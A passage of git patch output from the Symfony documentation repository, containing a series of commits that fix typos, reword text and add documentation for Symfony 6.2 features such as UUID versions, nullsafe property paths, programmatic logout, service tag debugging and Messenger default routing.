     // UUIDv8's uniqueness will be implementation-specific and SHOULD NOT be assumed.
     $uuid = Uuid::v8();
 
 .. versionadded:: 6.2
 
-    Versions 7 and 8 were introduced in Symfony 6.2.
+    UUID versions 7 and 8 were introduced in Symfony 6.2.
 
 If your UUID value is already generated in another format, use any of the
 following methods to create a ``Uuid`` object from it::
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 06fdbb86147..14f6a3916e3 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -114,8 +114,9 @@ will allow alternate input formats like:
 
 **type**: ``int[]`` **default**: ``[1,2,3,4,5,6,7,8]``
 
-This option can be used to only allow specific `UUID versions`_.  Valid versions are 1 - 8.
-The following PHP constants can also be used:
+This option can be used to only allow specific `UUID versions`_ (by default, all
+of them are allowed). Valid versions are 1 - 8. Instead of using numeric values,
+you can also use the following PHP constants to refer to each UUID version:
 
 * ``Uuid::V1_MAC``
 * ``Uuid::V2_DCE``
@@ -128,9 +129,7 @@ The following PHP constants can also be used:
 
 .. versionadded:: 6.2
 
-    Versions 7 and 8 were introduced in Symfony 6.2.
-
-All versions are allowed by default.
+    UUID versions 7 and 8 were introduced in Symfony 6.2.
 
 .. _`Universally unique identifier (UUID)`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122

From ae01b3260cfae541b128e5e5752770b2631fa4eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Oct 2022 10:43:32 +0200
Subject: [PATCH 2374/5766] Minor typo

---
 components/uid.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index ab96074487b..ef226ac89a2 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -71,7 +71,7 @@ to create each type of UUID::
     // UUID version 8 provides an RFC-compatible format for experimental or vendor-specific use cases.
     // The only requirement is that the variant and version bits MUST be set as defined in Section 4:
     // https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#variant_and_version_fields
-    // UUIDv8's uniqueness will be implementation-specific and SHOULD NOT be assumed.
+    // UUIDv8 uniqueness will be implementation-specific and SHOULD NOT be assumed.
     $uuid = Uuid::v8();
 
 .. versionadded:: 6.2

From 996ab53f942f458d7ae48aa84d790393f21a8c95 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 1 Oct 2022 10:42:43 +0200
Subject: [PATCH 2375/5766] [Kernel] Mention extra interfaces in `MicroKernel`
 section

---
 configuration/micro_kernel_trait.rst  | 38 +++++++++++++++++++++++++++
 service_container/compiler_passes.rst |  2 ++
 2 files changed, 40 insertions(+)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 16402bd5a54..1d37d9843cb 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -102,6 +102,44 @@ that define your bundles, your services and your routes:
     ``RouteCollectionBuilder`` has methods that make adding routes in PHP more
     fun. You can also load external routing files (shown below).
 
+Adding Interfaces to "Micro" Kernel
+-----------------------------------
+
+When using the ``MicroKernelTrait``, you can also implement the
+``CompilerPassInterface`` to automatically register the kernel itself as a
+compiler pass as explained in the dedicated
+:ref:`compiler pass section <kernel-as-compiler-pass>`.
+
+It is also possible to implement the ``EventSubscriberInterface`` to handle
+events directly from the kernel, again it will be registered automatically::
+
+    // ...
+    use App\Exception\Danger;
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\HttpKernel\Event\ExceptionEvent;
+    use Symfony\Component\HttpKernel\KernelEvents;
+
+    class Kernel extends BaseKernel implements EventSubscriberInterface
+    {
+        use MicroKernelTrait;
+
+        // ...
+
+        public function onKernelException(ExceptionEvent $event): void
+        {
+            if ($event->getException() instanceof Danger) {
+                $event->setResponse(new Response('It\'s dangerous to go alone. Take this ⚔'));
+            }
+        }
+
+        public static function getSubscribedEvents(): array
+        {
+            return [
+                KernelEvents::EXCEPTION => 'onKernelException',
+            ];
+        }
+    }
+
 Advanced Example: Twig, Annotations and the Web Debug Toolbar
 -------------------------------------------------------------
 
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index 79f666a4237..d0e55c1f51e 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -32,6 +32,8 @@ Compiler passes are registered in the ``build()`` method of the application kern
         }
     }
 
+.. _kernel-as-compiler-pass:
+
 One of the most common use-cases of compiler passes is to work with :doc:`tagged
 services </service_container/tags>`. In those cases, instead of creating a
 compiler pass, you can make the kernel implement

From 84c8a38eeffd15081d6dadecaa88bfd7bd5210f4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Oct 2022 11:37:51 +0200
Subject: [PATCH 2376/5766] Minor tweak

---
 testing.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index adbd28989ae..522508135dc 100644
--- a/testing.rst
+++ b/testing.rst
@@ -284,11 +284,10 @@ Mocking Dependencies
 --------------------
 
 Sometimes it can be useful to mock a dependency of a tested service.
-
 From the example in the previous section, let's assume the
 ``NewsletterGenerator`` has a dependency to a private alias
 ``NewsRepositoryInterface`` pointing to a private ``NewsRepository`` service
-and we would like to use a mocked ``NewsRepositoryInterface`` instead of the
+and you'd like to use a mocked ``NewsRepositoryInterface`` instead of the
 concrete one::
 
     // ...
@@ -320,7 +319,7 @@ concrete one::
     }
 
 In order to make the alias public, you will need to update configuration for
-the ``test`` environment as follow:
+the ``test`` environment as follows:
 
 .. configuration-block::
 

From 36dc4e3d5ccd5136a396b819d1ba53cd22f4b9f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Oct 2022 12:46:23 +0200
Subject: [PATCH 2377/5766] Add the versionadded directive

---
 serializer.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index a27ecccecb3..64fd17e085b 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -158,6 +158,10 @@ configuration:
             ;
         };
 
+.. versionadded:: 6.2
+
+    The option to configure YAML indentation was introduced in Symfony 6.2.
+
 .. _serializer-using-context-builders:
 
 Using Context Builders

From 67ab35adfca6adb131c04814b1adc67566d8984f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 4 Oct 2022 07:42:22 +0200
Subject: [PATCH 2378/5766] Remove unused versionadded directives

---
 reference/configuration/framework.rst    | 4 ----
 service_container/service_decoration.rst | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 2197919a85c..e4b21485fae 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2713,10 +2713,6 @@ A map with default context options that will be used with each ``serialize`` and
 call. This can be used for example to set the json encoding behavior by setting ``json_encode_options``
 to a `json_encode flags bitmask`_.
 
-.. versionadded:: 5.4
-
-    The ``default_context`` parameter was introduced in Symfony 5.4.
-
 php_errors
 ~~~~~~~~~~
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index c8921c53c62..0cc7929beb1 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -527,10 +527,6 @@ The result will be::
 
     The ``Baz`` frame id will now be ``.decorated_foo_stack.second``.
 
-.. versionadded:: 5.1
-
-    The ability to define ``stack`` was introduced in Symfony 5.1.
-
 Control the Behavior When the Decorated Service Does Not Exist
 --------------------------------------------------------------
 

From ab52db06f80d9bc856f82c40f74d91007e9f9068 Mon Sep 17 00:00:00 2001
From: Jeffrey Cafferata <jeffrey@jcid.nl>
Date: Tue, 4 Oct 2022 08:46:09 +0200
Subject: [PATCH 2379/5766] Fix typo

---
 components/string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/string.rst b/components/string.rst
index 0df4ec0ef08..29a74136f63 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -301,7 +301,7 @@ Methods to Pad and Trim
     u('template.html.twig')->trimSuffix('.html');            // 'template.html.twig'
     u('template.html.twig')->trimSuffix('.twig');            // 'template.html'
     u('template.html.twig')->trimSuffix('.html.twig');       // 'template'
-    // when passing an array of prefix/sufix, only the first one found is trimmed
+    // when passing an array of prefix/suffix, only the first one found is trimmed
     u('file-image-0001.png')->trimPrefix(['file-', 'image-']); // 'image-0001.png'
     u('template.html.twig')->trimSuffix(['.twig', '.html']);   // 'template.html'
 

From 7571086567bb35af1668a587e46e42c50a6a18dd Mon Sep 17 00:00:00 2001
From: Mokhtar Tlili <tlili.mokhtar@gmail.com>
Date: Fri, 24 Jun 2022 21:58:19 +0200
Subject: [PATCH 2380/5766] Update serializer.rst

I have checked  ``ObjectNormalizer`` and I found only methods start by (has,  get,  and  can) can be detected automatically for normalising them

Am I wrong?
---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 81707bc5a05..7b5c7af5ca0 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -639,8 +639,8 @@ If you are using isser methods (methods prefixed by ``is``, like
 ``App\Model\Person::isSportsperson()``), the Serializer component will
 automatically detect and use it to serialize related attributes.
 
-The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``add``
-and ``remove``.
+The ``ObjectNormalizer`` also takes care of methods starting with ``has`` and
+``get``.
 
 Using Callbacks to Serialize Properties with Object Instances
 -------------------------------------------------------------

From 6f72b56570935a4b19376bb98189c14833341e31 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Oct 2022 15:41:20 +0200
Subject: [PATCH 2381/5766] Minor tweak

---
 form/create_custom_field_type.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index af9e79f7723..75e07fddfb6 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -124,7 +124,7 @@ These are the most important methods that a form type class can define:
     method of that type (i.e. ``buildForm()``, ``buildView()``, etc.) and all its
     type extensions, before calling the corresponding method of your custom type.
     This is probably a good idea if you're just changing some details of an
-    existing type. To start from scratch, just omit ``getParent()``.
+    existing type. To start from scratch, omit ``getParent()``.
 
 ``buildForm()``
     It adds and configures other types into this type. It's the same method used

From 4c55db326d1dd9d3fa4a0699ed97406b015a5d39 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Oct 2022 16:40:32 +0200
Subject: [PATCH 2382/5766] Reword

---
 components/property_access.rst | 63 ++++++++++++++++++----------------
 1 file changed, 33 insertions(+), 30 deletions(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index 9a2890b3e88..fcd0551c257 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -104,36 +104,6 @@ To read from properties, use the "dot" notation::
 
     var_dump($propertyAccessor->getValue($person, 'children[0].firstName')); // 'Bar'
 
-.. tip::
-
-    You can give an object graph with nullable object.
-
-    Given an object graph ``comment.person.profile``, where ``person`` is optional (can be null),
-    you can call the property accessor with ``comment.person?.profile`` (using the nullsafe
-    operator) to avoid exception.
-
-    For example::
-
-        class Person
-        {
-        }
-        class Comment
-        {
-            public ?Person $person = null;
-            public string $message;
-        }
-
-        $comment = new Comment();
-        $comment->message = 'test';
-
-        // This code throws an exception of type
-        // Symfony\Component\PropertyAccess\Exception\UnexpectedTypeException
-        var_dump($propertyAccessor->getValue($comment, 'person.firstname'));
-
-        // The code now returns null, instead of throwing an exception of type
-        // Symfony\Component\PropertyAccess\Exception\UnexpectedTypeException,
-        var_dump($propertyAccessor->getValue($comment, 'person?.firstname')); // null
-
 .. caution::
 
     Accessing public properties is the last option used by ``PropertyAccessor``.
@@ -223,6 +193,39 @@ method::
     // instead of throwing an exception the following code returns null
     $value = $propertyAccessor->getValue($person, 'birthday');
 
+Accessing Nullable Property Paths
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Consider the following PHP code::
+
+    class Person
+    {
+    }
+
+    class Comment
+    {
+        public ?Person $person = null;
+        public string $message;
+    }
+
+    $comment = new Comment();
+    $comment->message = 'test';
+
+Given that ``$person`` is nullable, an object graph like ``comment.person.profile``
+will trigger an exception when the ``$person`` property is ``null``. The solution
+is to mark all nullable properties with the nullsafe operator (``?``)::
+
+    // This code throws an exception of type
+    // Symfony\Component\PropertyAccess\Exception\UnexpectedTypeException
+    var_dump($propertyAccessor->getValue($comment, 'person.firstname'));
+
+    // If a property marked with the nullsafe operator is null, the expression is
+    // no longer evaluated and null is returned immediately without throwing an exception
+    var_dump($propertyAccessor->getValue($comment, 'person?.firstname')); // null
+
+.. versionadded:: 6.2
+
+    The ``?`` nullsafe operator was introduced in Symfony 6.2.
 
 .. _components-property-access-magic-get:
 

From 26a7fab00b831cab5beb8c90ccd0f206020f08cf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Halin?= <jeremy.halin@gmail.com>
Date: Tue, 4 Oct 2022 16:14:27 +0200
Subject: [PATCH 2383/5766] docs(console): add caution for testing option

Add a caution about `InputOption::VALUE_NONE` testing.
Passing only a value without a key doesn't work and can lead to misunderstanding.
---
 console.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/console.rst b/console.rst
index 9dd9cecddb4..ed7ff754c78 100644
--- a/console.rst
+++ b/console.rst
@@ -546,6 +546,15 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
         $application->setAutoExit(false);
 
         $tester = new ApplicationTester($application);
+        
+
+.. caution::
+
+    When testing ``InputOption::VALUE_NONE`` command option, be sure to pass an empty
+    value like so::
+    
+        $commandTester = new CommandTester($command);
+        $commandTester->execute(['--some-option' => '']);
 
 .. note::
 

From ef0dc2b796b50a34761fd3951850c972ba90e0ae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Oct 2022 17:48:16 +0200
Subject: [PATCH 2384/5766] Minor tweak

---
 console.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index ed7ff754c78..47bd8e9b786 100644
--- a/console.rst
+++ b/console.rst
@@ -550,8 +550,8 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
 .. caution::
 
-    When testing ``InputOption::VALUE_NONE`` command option, be sure to pass an empty
-    value like so::
+    When testing ``InputOption::VALUE_NONE`` command options, you must pass an
+    empty value to them::
     
         $commandTester = new CommandTester($command);
         $commandTester->execute(['--some-option' => '']);

From 3c0734a7aca1833a910f2df46710032a5b5588a5 Mon Sep 17 00:00:00 2001
From: Jonathan Cox <jc@jonathancox.dev>
Date: Thu, 26 May 2022 08:24:51 -0400
Subject: [PATCH 2385/5766] Change 'ignore' element to attribute in Serializer
 XML example

---
 components/serializer.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 46dff2c12c8..1690959defa 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -517,9 +517,7 @@ Option 1: Using ``@Ignore`` Annotation
                 https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
         >
             <class name="App\Model\MyClass">
-                <attribute name="bar">
-                    <ignore>true</ignore>
-                </attribute>
+                <attribute name="bar" ignore="true"/>
             </class>
         </serializer>
 

From 98a717a63e0b7095bdfc07a2891dead1c6657bf5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 15:16:02 +0200
Subject: [PATCH 2386/5766] [HttpKernel] Document the `terminate_on_cache_hit`
 option

---
 reference/configuration/framework.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 73b35de2336..b6380101345 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -144,6 +144,22 @@ which the cache can serve a stale response when an error is encountered
 (default: 60). This setting is overridden by the stale-if-error HTTP
 Cache-Control extension (see RFC 5861).
 
+terminate_on_cache_hit
+......................
+
+**type**: ``boolean`` **default**: ``true``
+
+If ``true``, the :ref:`kernel.terminate <component-http-kernel-kernel-terminate>`
+event is dispatched even when the cache is hit.
+
+Unless your application needs to process events on cache hits, it's recommended
+to set this to ``false`` to improve performance, because it avoids having to
+bootstrap the Symfony framework on a cache hit.
+
+.. versionadded:: 6.2
+
+    The ``terminate_on_cache_hit`` option was introduced in Symfony 6.2.
+
  .. _configuration-framework-http_method_override:
 
 http_method_override

From 5611f88211a9ee8341cc8fcd52a0ca0446bc52e7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Arnaud=20Fr=C3=A9zet?= <arnaud@les-tilleuls.coop>
Date: Thu, 22 Sep 2022 00:03:37 +0200
Subject: [PATCH 2387/5766] docs: add docs for programmatic logout

---
 security.rst | 43 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/security.rst b/security.rst
index c70b01d8652..5641e825742 100644
--- a/security.rst
+++ b/security.rst
@@ -1723,6 +1723,49 @@ Next, you need to create a route for this URL (but not a controller):
 That's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
 Symfony will un-authenticate the current user and redirect them.
 
+Logout programmatically
+-----------------------
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\Bundle\SecurityBundle\Security\Security <Symfony\\Bundle\\SecurityBundle\\Security\\Security>`
+    class was introduced in Symfony 6.2. Prior to 6.2, it was called
+    ``Symfony\Component\Security\Core\Security``.
+
+.. versionadded:: 6.2
+
+    The :method:`Symfony\\Bundle\\SecurityBundle\\Security\\Security::logout`
+    method was introduced in Symfony 6.2.
+
+You can logout user programmatically using the `logout()` method of the
+:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` helper. The user will be logout from the current firewall
+in the request. If the current request is not behind a firewall a ``\LogicException`` will be thrown. ::
+
+    // src/Controller/SecurityController.php
+    namespace App\Controller\SecurityController;
+
+    use App\Security\Authenticator\ExampleAuthenticator;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
+
+    class SecurityController
+    {
+        public function someAction(Security $security): Response
+        {
+            // logout the user in on the current firewall
+            $response = $this->security->logout();
+
+            // You can also disable the csrf logout
+            $response = $this->security->logout(false);
+
+            if ($response !== null) {
+                return $response;
+            }
+
+            // Redirect to the homepage for instance
+            // ...
+        }
+    }
+
 Customizing Logout
 ~~~~~~~~~~~~~~~~~~
 

From 347f749a8063c6c8ef11278c4429ab6f0baf7d59 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Oct 2022 12:24:12 +0200
Subject: [PATCH 2388/5766] minor #17325 Fix typo (cafferata)

This PR was merged into the 6.2 branch.

Discussion
----------

Fix typo

Fixed small typo (`sufix` = `suffix`).

Commits
-------

ab52db06f Fix typo
---
 components/string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/string.rst b/components/string.rst
index caff1413382..17edd37d802 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -313,7 +313,7 @@ Methods to Pad and Trim
     u('template.html.twig')->trimSuffix('.html');            // 'template.html.twig'
     u('template.html.twig')->trimSuffix('.twig');            // 'template.html'
     u('template.html.twig')->trimSuffix('.html.twig');       // 'template'
-    // when passing an array of prefix/sufix, only the first one found is trimmed
+    // when passing an array of prefix/suffix, only the first one found is trimmed
     u('file-image-0001.png')->trimPrefix(['file-', 'image-']); // 'image-0001.png'
     u('template.html.twig')->trimSuffix(['.twig', '.html']);   // 'template.html'
 

From 63c2a8d5b7622c3463b307477ad147940c8602c1 Mon Sep 17 00:00:00 2001
From: Vladimir Shevelev <BOB41K@narod.ru>
Date: Thu, 18 Aug 2022 15:11:19 +0700
Subject: [PATCH 2389/5766] [DependencyInjection] Add information about
 debugging tagged services

---
 service_container/debug.rst | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

diff --git a/service_container/debug.rst b/service_container/debug.rst
index e949f6234f9..8d174c41723 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -21,6 +21,33 @@ To see a list of all of the available types that can be used for autowiring, run
 
     $ php bin/console debug:autowiring
 
+How to Debug Service Tags & List Tagged Services
+------------------------------------
+You can find out what services are tagged with a specific tag using the following command:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container --tag=kernel.event_listener
+
+Partial search is also available:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container --tag=kernel
+    
+    Select one of the following tags to display its information:
+     [0] kernel.event_listener
+     [1] kernel.event_subscriber
+     [2] kernel.reset
+     [3] kernel.cache_warmer
+     [4] kernel.locale_aware
+     [5] kernel.fragment_renderer
+     [6] kernel.cache_clearer
+
+.. versionadded:: 6.2
+
+    The partial search was introduced in Symfony 6.2.
+
 Detailed Info about a Single Service
 ------------------------------------
 

From 994136dce9bbd35c2f93e5c23db6aa691cf29395 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Oct 2022 15:09:52 +0200
Subject: [PATCH 2390/5766] Minor reword

---
 service_container/debug.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/service_container/debug.rst b/service_container/debug.rst
index 8d174c41723..088fea4ef38 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -21,9 +21,11 @@ To see a list of all of the available types that can be used for autowiring, run
 
     $ php bin/console debug:autowiring
 
-How to Debug Service Tags & List Tagged Services
-------------------------------------
-You can find out what services are tagged with a specific tag using the following command:
+Debugging Service Tags
+----------------------
+
+Run the following command to find out what services are :doc:`tagged </service_container/tags>`
+with a specific tag:
 
 .. code-block:: terminal
 

From 3d89933398a94210c9499ee6bf3e887943410c7c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Oct 2022 15:32:56 +0200
Subject: [PATCH 2391/5766] Minor tweaks

---
 http_client.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 9cc534f00db..0025718a591 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -756,16 +756,16 @@ is installed and enabled. Otherwise, the native PHP streams will be used.
 HTTP Compression
 ~~~~~~~~~~~~~~~~
 
-A HTTP header ``Accept-Encoding: gzip`` is added automatically if ...
+The HTTP header ``Accept-Encoding: gzip`` is added automatically if:
 
-* cURL Client: ... cURL was compiled with ZLib support (see ``php --ri curl``)
-* Native Http Client: ... `Zlib PHP extension`_ is installed
+* When using cURL client: cURL was compiled with ZLib support (see ``php --ri curl``)
+* When using the native HTTP client: `Zlib PHP extension`_ is installed
 
 If the server does respond with a gzipped response, it's decoded transparently.
-
 To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header.
 
-Chunked transfer encoding is enabled automatically if both your PHP runtime and the remote server supports it.
+Chunked transfer encoding is enabled automatically if both your PHP runtime and
+the remote server supports it.
 
 HTTP/2 Support
 ~~~~~~~~~~~~~~

From 835a8e05284b9b7cefabc7dc365bc58586632af9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Oct 2022 16:35:13 +0200
Subject: [PATCH 2392/5766] Fix code syntax

---
 routing.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 113f27eddf5..b657f8b3762 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2194,7 +2194,8 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
     class SomeService
     {
         public function __construct(private UrlGeneratorInterface $router)
-        {}
+        {
+        }
 
         public function someMethod()
         {

From 48f0d4fe0810f7307e41e29f025cfb688a960e07 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 27 Jul 2022 11:13:11 +0200
Subject: [PATCH 2393/5766] Expanding recommendation for `finishView()`...

... to include the widgets created by ChoiceType as well.

Might conflict with a minor change I just did in https://github.com/symfony/symfony-docs/pull/17066
---
 form/create_custom_field_type.rst | 23 ++++++++++++++++++-----
 1 file changed, 18 insertions(+), 5 deletions(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 75e07fddfb6..dbca331e050 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -133,17 +133,30 @@ These are the most important methods that a form type class can define:
 ``buildView()``
     It sets any extra variables you'll need when rendering the field in a template.
 
-``finishView()``
-    When creating a form type that consists of many fields, this method allows
-    to modify the "view" of any of those fields. For any other use case, it's
-    recommended to use ``buildView()`` instead.
-
 ``configureOptions()``
     It defines the options configurable when using the form type, which are also
     the options that can be used in ``buildForm()`` and ``buildView()``
     methods. Options are inherited from parent types and parent type
     extensions, but you can create any custom option you need.
 
+``finishView()``
+    This method allows to modify the "view" of any rendered widget. This is useful
+    if your form type consists of many fields, or contains a type that produces
+    many HTML elements (e.g. ``ChoiceType``). For any other use case, it's
+    recommended to use ``buildView()`` instead.
+
+``getParent()``
+    If your custom type is based on another type (i.e. they share some
+    functionality) add this method to return the fully-qualified class name
+    of that original type. Do not use PHP inheritance for this.
+    Symfony will call all the form type methods (``buildForm()``,
+    ``buildView()``, etc.) of the parent type and it will call all its type
+    extensions before calling the ones defined in your custom type.
+
+    By default, the ``AbstractType`` class returns the generic
+    :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`
+    type, which is the root parent for all form types in the Form component.
+
 Defining the Form Type
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 955b39345e7d9c56700f41dfec7c8a7d660655be Mon Sep 17 00:00:00 2001
From: Clement Herreman <clement.herreman@gmail.com>
Date: Fri, 15 Apr 2022 17:26:40 +0200
Subject: [PATCH 2394/5766] [Messenger] Add doc for default routing for
 messages

---
 messenger.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 605561e39d5..b5926c05d2a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -261,7 +261,13 @@ you can configure them to be sent to a transport:
 
 Thanks to this, the ``App\Message\SmsNotification`` will be sent to the ``async``
 transport and its handler(s) will *not* be called immediately. Any messages not
-matched under ``routing`` will still be handled immediately.
+matched under ``routing`` will still be handled immediately, i.e. synchronously.
+
+.. note::
+
+    You may use ``'*'`` as the message class. This will act as a default routing
+    rule for any message not matched under ``routing``. This is useful to ensure
+    no message is handled synchronously by default.
 
 You can also route classes by their parent class or interface. Or send messages
 to multiple transports:

From 5781a948ea10c5ff6a42020ec97b1706b9f811c4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Oct 2022 17:35:56 +0200
Subject: [PATCH 2395/5766] Tweaks

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 6bcac8c52d3..14e255f2943 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -269,6 +269,11 @@ matched under ``routing`` will still be handled immediately, i.e. synchronously.
     rule for any message not matched under ``routing``. This is useful to ensure
     no message is handled synchronously by default.
 
+    The only drawback is that ``'*'`` will also apply to the emails sent with the
+    Symfony Mailer (which uses ``SendEmailMessage`` when Messenger is available).
+    This could cause issues if your emails are not serializable (e.g. if they include
+    file attachments as PHP resources/streams).
+
 You can also route classes by their parent class or interface. Or send messages
 to multiple transports:
 

From 6f431a4bf5c7fc92604bce58e724dea476ee070b Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Wed, 5 Oct 2022 21:28:40 +0200
Subject: [PATCH 2396/5766] Update testing.rst

Co-authored-by: Jules Pietri <heahdude@yahoo.fr>
---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 51943e91cd8..90be9bab84b 100644
--- a/testing.rst
+++ b/testing.rst
@@ -537,7 +537,7 @@ This allows you to create all types of requests you can think of:
 
 .. caution::
 
-    Before each request with the client, the client "resets" the container and recreates it from scratch.
+    Before each request, the client reboots the kernel, recreating the container from scratch.
     That gives each request an "isolated" environment because each request will create new service objects.
     But for example, when using the entity manager of Doctrine, all entities loaded with it are "lost"
     when a new request is sent (because the entity manager was "reset"). You have to query again entities if you want

From c4c1899799a02a3cd93c0d2c9d26c918b0d82a5c Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Wed, 5 Oct 2022 21:30:57 +0200
Subject: [PATCH 2397/5766] Update testing.rst

Co-authored-by: Jules Pietri <heahdude@yahoo.fr>
---
 testing.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 90be9bab84b..b195ae60b0f 100644
--- a/testing.rst
+++ b/testing.rst
@@ -539,7 +539,8 @@ This allows you to create all types of requests you can think of:
 
     Before each request, the client reboots the kernel, recreating the container from scratch.
     That gives each request an "isolated" environment because each request will create new service objects.
-    But for example, when using the entity manager of Doctrine, all entities loaded with it are "lost"
+    Also, it means that entities loaded by Doctrine repositories will be "detached", so they will need to be
+    refreshed by the manager or queried again from a repository.
     when a new request is sent (because the entity manager was "reset"). You have to query again entities if you want
     to have entities in "valid state".
